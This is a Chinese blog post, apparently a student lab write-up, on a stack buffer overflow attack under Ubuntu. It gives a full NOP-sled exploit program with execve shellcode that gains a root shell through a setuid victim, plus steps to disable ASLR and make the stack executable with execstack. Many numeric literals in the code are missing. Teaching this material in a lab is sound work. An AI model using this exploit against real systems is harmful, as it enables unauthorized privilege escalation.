Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)
缓冲器溢出攻击实验题目:
下边的代码摘自《黑客攻防技术宝典——系统实战篇(第 2 版)》2.5 节,攻击该代码,获得root 权限,实现相应的效果。
int main(int argc, char *argv[]) { char little_array[]; if(argc>) strcpy(little_array,argv[]); }
实验步骤:
1) 首 先 确 保 系 统 禁 用 了 ASLR ( Address space layout randomization )。
cat /proc/sys/kernel/randomize_va_space
2) 利用 find_start 函数可以找出 ESP 的地址。
//find_start.c #include <stdlib.h> #include <string.h> unsigned long find_start(void) { __asm__("movl %esp, %eax"); } int main() { printf("0x%x/n",find_start()); }
如果每次找到的地址都相同,说明堆栈的地址动态分配确实关闭了。
如果地址不同,则需要禁用ASLR(Address space layout randomization):
sudo sysctl -w kernel.randomize_va_space=
3) 构造被攻击宿主程序 victim,把 victim 程序属主设为 root,suid 位打开,保证程序在普通用户执行时也具有 root 权限。这样当攻击成功后,就可以从宿主程序派生出继承到root 权限的 shell。
4) 采用 NSR(NOP-SHELL-RETURN)模式构造溢出代码 nopattack.c 并编译,代码如下:
#include <stdlib.h> #include <stdio.h> #include <string.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 600 #define NOP 0x90 char shellcode[] = "/xeb/x1a/x5e/x31/xc0/x88/x46/x07/x8d/x1e/x89/x5e/x08/x89/x46" "/x0c/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xe1" "/xff/xff/xff/x2f/x62/x69/x6e/x2f/x73/x68"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > ) bsize = atoi(argv[]); if (argc > ) offset = atoi(argv[]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory./n"); exit(); } addr = get_sp() - offset; printf("Using address: 0x%x/n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = ; i < bsize; i+=) *(addr_ptr++) = addr; for (i = ; i < bsize/; i++) buff[i] = NOP; ptr = buff + ((bsize/) - (strlen(shellcode)/)); for (i = ; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - ] = '/0'; memcpy(buff,"BUF=",); putenv(buff); system("/bin/bash"); }
5) 编译代码,并尝试攻击 victim 程序,直到获取到 root 权限。下面取 BUFFER 大小为 600,
Offset 为 400,构造 NSR,攻击 victim 成功获取到具有 root 权限的 shell。
实验遇到的问题和解决:
1、最开始做这个实验的时候,怎么也拿不到root权限,每次都是提示segement fault,开始我一直以为是偏移地址取得不对,被这个问题困扰了很久。
后来经过很长时间的分析,再对比分析了别人成功的实验的程序和我的程序的区别上,才找出了问题所在。
2、尝试使用别人的vicitim程序执行溢出,发现很容易就成功获得root权限了。
3、把别人的成功溢出的程序拿过来,做对比分析,假设将自己编译的两个程序分别命名为nopattack1,victim1,别人的可以溢出的程序命名为nopattack2,vicitm2。做组合对比试验,得到如下结果。
|
实验分组 |
攻击程序 |
被攻击程序 |
溢出成功?(Y/N) |
|
1 |
nopattack1 |
victim1 |
N |
|
2 |
nopattack2 |
victim2 |
Y |
|
3 |
nopattack1 |
victim2 |
Y |
|
4 |
nopattack2 |
victim1 |
N |
通过对比分析,知道只要被攻击程序是victim2(不是自己编译的),就可以溢出成功。
4、将victim1和victim2进行对比,用gdb看程序的汇编代码完全相同。开始发现文件比他们的略大,后来发现是由于编译时加了-g造成的,去掉-g后文件大小完全相同。
5、将vicitim1和vicitim2拿到windows下,用Ultracompare进行对比,发现略有不同。

左 边的re为自己编译的程序,右边的rootecho可以成功溢出的程序。后面也有些字段不同,但是感觉和实际运行无关,左边的06h和右边的07h的差异 估计是造成本地程序不能成功溢出的原因。用UltraEdit修改re的程序中的06h为07h,重新放入ubuntu系统进行测试,发现可以成功溢出。 拿各程序对比,发现均有这个问题,估计是症结所在。
6、既然是程序的问题,那么就要分析文件的结构,看这个字段究竟是何涵义。Linux的程序格式是ELF格式。那么就要分析ELF格式。bash下用readelf命令可以分析程序的存储结构。运行如下命令将分析结果导出到profile文件。
readelf -a re>profile_re
readelf -a rootecho>profile_rootecho
将文件用UltraCompare进行对比。发现一些不同,最重要的不同是GNU_STACK处的不同。

左边的RW,右边的是RWE,E显然是代表个执行。查阅资料后可知,GNU_STACK这行代表的是堆栈的情况,RW代表个读写,RWE代表可读写和执行。
显然真正的问题在于本地编译的程序在堆栈上没有可执行权限,这也是造成能顺利做出第一问(因为不需要在堆栈上执行代码,只需程序跳转到代码段而已),但同样原理的第二问和第三问(要在栈上执行shell)就不可能做出来的原因。
7、 不过PPT上说只要在编译代码时加上-z –execstack就可以使堆栈上可以执行代码,然而事实却不是这样的。为了验证这个想法,重新编译代码进行了进一步的验证。从运行的效果可以看出,虽 然gcc编译代码的时候,虽然添加了-z –execstack参数,栈依旧是不可执行的,这估计是因为gcc版本过高的问题。
8、解决方案:
1)在本地安装execstack
安装命令:sudo apt-get install execstack
2)用execstack修改程序堆栈的可执行属性。
修改命令:execstack -s victim
3)对修改后的victim进行溢出攻击。当vicitm具有栈可执行的性质后,很容易就通过溢出攻击拿到了root权限。
实验问题总结:
gcc -fno-stack-protector -z -execstack -mpreferred-stack-boundary=2 -g function.c -o function这条指令中,-fno-stack-protector可以禁用堆栈保护,-mpreferred-stack-boundary=2可 以是程序边界对齐,-g是程序是否带调试功能,可不用,但是-z –execstack却不一定能使程序的栈可执行,估计和GCC版本有关。通过readelf -a function|grep GNU_STACK指令可以查看funcition的堆栈是否可执行,如果是RW,说明栈只是可读写,还不可执行,任何尝试的攻击都会造成segment fault,如果是RWE说明栈可执行,可以通过buffer overflow,执行栈上的shell指令。
如果程序的栈不可执行指令,那么溢出是徒劳的。因此需要修改程序栈的可执行性。直接通过修改二进制比较麻烦,而且较难找到那个字段,这里用execstack程序,修改程序栈的可执行属性,将栈设置为可执行指令,可以顺利地进行实验。
后记:
其 实网上关于缓冲区溢出的实验教程很多,而自己当时遇到了问题,绕了很多了弯路才找出了问题的原因所在,照这些教程也不能解决,而问题的原因其实是并不是方 法的问题,而是对堆栈的可执行性的认识不够,理所当然地认为栈是可执行的。写这篇博文的主要目的是希望大家都能认识大对工程实际问题不能想当然,要多分析 前因后果,否则要绕弯路。如果大家遇到了同样的问题,而也能用这个方法解决,足矣。
Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)的更多相关文章
- CSAPP缓冲区溢出攻击实验(下)
CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...
- CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom
CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom 栈结构镇楼 这里先给 ...
- CSAPP缓冲区溢出攻击实验(上)
CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...
- CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz
前言 完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上 ...
- Linux下缓冲区溢出攻击的原理及对策(转载)
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...
- Linux下缓冲区溢出攻击的原理及对策
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈 帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实 ...
- Ubuntu下常用强化学习实验环境搭建(MuJoCo, OpenAI Gym, rllab, DeepMind Lab, TORCS, PySC2)
http://lib.csdn.net/article/aimachinelearning/68113 原文地址:http://blog.csdn.net/jinzhuojun/article/det ...
- snort简介以及在Ubuntu下的安装
一.简介 Snort是一套开放源代码的网络入侵预防软件与网络入侵检测软件.Snort使用了以侦测签章(signature-based)与通信协议的侦测方法.Snort是一个免费的IDS(入侵监测系统) ...
- 20145319 return-to-libc攻击实验
20145319 Return-to-libc攻击实验 一 实验内容 return-to-libc实验是一个基于缓冲区溢出攻击实验的基础上的一种攻击实验 缓冲区溢出攻击相关知识: 原理:通过一段包含s ...
随机推荐
- Python中的类(上)
在Python中,可以通过class关键字定义自己的类,然后通过自定义的类对象类创建实例对象. 例如,下面创建了一个Student的类,并且实现了这个类的初始化函数"__init__&quo ...
- 搭建Vue.js环境,建立一个简单的Vue项目
基于vue-cli快速构建 Vue是近年来比较火的一个前端框架,所以搭建Vue.js环境,要装webpack,vue-cli,Vue 安装webpack命令如下 $ cnpm install webp ...
- centos上yum安装异常处理
最近在centos上通过yum来安装程序,出下了以下问题: Loaded plugins: fastestmirror Setting up Install Process Loading mirro ...
- Nginx(八)-- 负载均衡
1.概念 负载均衡 建立在现有的网络结构上,提供一种廉价有效透明的方法来扩大网络设置和服务器的带宽.增加吞吐量.加强网络数据处理能力,以及提供网络的灵活性和可用性. 用得较多的负载均衡器硬件有F5 B ...
- beef 安装使用
http://www.freebuf.com/articles/web/5511.html
- 关于PullToRefreshView bug 的修复
前几天网友yufengzungzhe@163.com指出PullToRefreshView的一个bug.当时麦洛还没有注意到,现在麦洛已经利用修复了.其实解这个bug也不难. 只要在下面这个方法做一点 ...
- 通过java的i/o机制进行图片流的存储以及对网络图片的存储
存储内地图片思路:首先把原有的图片以流的方式读取出来,再以流的方式存储到目标文件: package imgStream; import java.io.*; public class ImgStrea ...
- Lua 正确的尾调用(proper tail call)
Lua支持“尾调用消除(tail-call elimination)”.尾调用(tail call):当一个函数调用是另一个函数的最后一个动作时,该调用才算是一条“尾调用”.例如,下面的代码就是一条“ ...
- QT之 Hello World
下载…… 我下载的Qt creater 版本为4.2.1,Qt版本为5.8.0 打开QT Creater 1. 新建项目 New Project -> Application -> Q ...
- 浅析TCP字节流与UDP数据报的区别
转自http://www.linuxidc.com/Linux/2014-11/109545.htm “TCP是一种流模式的协议,UDP是一种数据报模式的协议”,这句话相信大家对这句话已经耳熟能详~但 ...